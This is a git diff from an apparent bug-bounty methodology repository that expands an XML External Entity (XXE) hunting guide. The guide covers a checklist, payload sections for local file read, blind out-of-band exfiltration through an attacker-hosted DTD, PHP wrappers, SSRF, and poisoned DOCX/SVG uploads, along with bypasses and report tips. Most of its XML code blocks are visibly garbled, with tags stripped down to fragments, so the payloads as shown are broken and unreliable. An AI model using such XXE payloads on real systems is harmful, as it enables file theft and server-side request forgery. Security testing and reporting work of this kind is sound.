+- Evidence = latency/memory delta between `lol4`-scale and `lol9`-scale requests (or the parser hanging), plus confirmation the request was *parsed*, not just echoed. +- Persistent (stored) variants are more severe: note how many re-parses occur per view of the object. +- Always disclose that testing was throttled to avoid real outage; triagers push back on DoS reports that look reckless. + +--- +*Contributor: [N3T_hunt3r](https://twitter.com/N3T_hunt3r)* diff --git a/XXE/XXE_Methods.md b/XXE/XXE_Methods.md index 40197a19..c90e3d28 100644 --- a/XXE/XXE_Methods.md +++ b/XXE/XXE_Methods.md @@ -1,14 +1,146 @@ -# XML External Entities. -These are my methods to check and hunt for XML External Entities. -I might be missing a lot of things but as the community believe in "sharing is caring" by @CXVVMVII. - -## Methods -1. Convert the content type from "application/json"/"application/x-www-form-urlencoded" to "applcation/xml". -2. File Uploads allows for docx/xlcs/pdf/zip , unzip the package and add your evil xml code into the xml files. -3. If svg allowed in picture upload , you can inject xml in svgs. -4. If the web app offers RSS feeds , add your milicious code into the RSS. -5. Fuzz for /soap api , some applications still running soap apis -6. If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse - -## Twitter: -* [whitechaitai](https://twitter.com/whitechaitai) +# XML External Entity (XXE) Injection + +XXE arises when an XML parser processes attacker-controlled documents with external entity resolution enabled, letting the attacker reference local files or remote URLs during parsing. It matters because a single XML endpoint can yield arbitrary file read, SSRF from the server, credential exfiltration (blind, via out-of-band), or denial of service. Typical impact is high to critical, especially against SOAP APIs, SSO/SAML, and file-upload processors (DOCX/SVG/RSS). + +For the entity-expansion DoS variant (Billion Laughs), see [Billion Laugh Attack](./Billion_Laugh_Attack.md). + +## Hunting Checklist + +1. Fuzz content types: switch `application/json` / `application/x-www-form-urlencoded` bodies to `application/xml` (or `text/xml`) and send a benign XML doc — a parse error in response is a green light. +2. File uploads that accept docx/xlsx/pptx/zip: these are ZIP archives of XML — unzip, inject XML into an inner `.xml` part, rezip, upload. +3. SVG allowed in picture upload: SVG *is* XML — inject entities directly into the uploaded file. +4. RSS/Atom feed features: add malicious XML to the feed you provide. +5. Fuzz for `/soap`, `/api/soap`, `?wsdl` — some applications still run SOAP APIs; SOAP *is* XML end to end. +6. SSO/SAML integrations: inject malicious XML in the SAML request/response. +7. Confirm with a harmless external reference (Collaborator) before attempting file reads: an HTTP interaction proves the parser resolves external entities. +8. If no reflection of parsed content, hunt blind XXE with parameter entities + out-of-band exfil (see Test Cases). +9. Check error messages for parser hints (Xerces, libxml2, .NET) to pick the right exfil syntax. +10. Test second-order: XML stored once (e.g., profile) and parsed by a later feature. + +## Test Cases & Examples + +### Content-type switch probe + +```http +POST /api/resource HTTP/1.1 +Host: example.com +Content-Type: application/xml + + +test +``` + +### Basic external entity — local file read + +```xml + +]> +&xxe; +``` + +Windows variant: `file:///c:/windows/win.ini`. Error-based variant (no output rendering — read the exception): reference a malformed path and let the parser echo file content in the error. + +### Blind XXE via external DTD (out-of-band exfiltration) + +Payload sent to the target: + +```xml + + + %dtd; +]> +bar +``` + +`evil.dtd` hosted on the attacker box: + +```xml + +"> +%eval; +%exfil; +``` + +### Blind XXE when file contents must be base64-encoded (binary/multiline) + +```xml + +"> +%eval; +%exfil; +``` + +### Local file read without outbound network — PHP wrappers + +```xml + +]> +&xxe; +``` + +### XInclude (no DOCTYPE needed) + +```xml + + + +``` + +### SSRF / port-check vector + +```xml + +]> +&xxe; +``` + +### Upload-container injection (DOCX/XLSX/SVG/RSS/SOAP/SAML) + +```bash +# OOXML: the document is a zip of XML parts +cp original.docx evil.docx +unzip evil.docx -d extracted +# edit word/document.xml (or another part) to add the DOCTYPE + &xxe; entity +cd extracted && zip -r ../evil.docx . -x '*.DS_Store' +# upload evil.docx +``` + +SVG example: + +```xml + +]> +&xxe; +``` + +### Denial of service + +Entity-expansion DoS (Billion Laughs) is covered with full payload in [Billion_Laugh_Attack.md](./Billion_Laugh_Attack.md). + +## Bypass Techniques + +- **``; entity/encoding obfuscation of `SYSTEM`/`PUBLIC`. +- **Filtered characters `<` / `>`** → some processors accept UTF-7-encoded XML bodies. +- **No response output** → blind parameter-entity exfil (OOB), or error-based: force parser errors that leak content in the message. +- **Multiline/binary breaks URL exfil** → base64-encode through `php://filter` first. + +## Tools & Resources + +- XXEinjector: https://github.com/ENDEAVOURcloud/XXEinjector +- Burp Suite Repeater + Collaborator (interactsh as OOB fallback) +- PayLoadssAllTheThings — XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection +- PortSwigger XXE labs: https://portswigger.net/web-security/xxe +- Owasp XXE cheat sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html +- Local DTD trick writeups: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-with-local-dtd-file + +## Report Tips + +- Show the minimal proof chain: content-type acceptance → Collaborator HTTP interaction → `file:///etc/passwd` (or equivalent) content in the response. +- State whether the parser is reachable unauthenticated and whether exfiltration was blind (OOB) — blind + readable secrets is critical even with zero output. +- For upload-based XXE (DOCX/SVG/SAML), name the processing service if identifiable (it often indicates a second vulnerable backend). + +--- +*Author: [whitechaitai](https://twitter.com/whitechaitai)*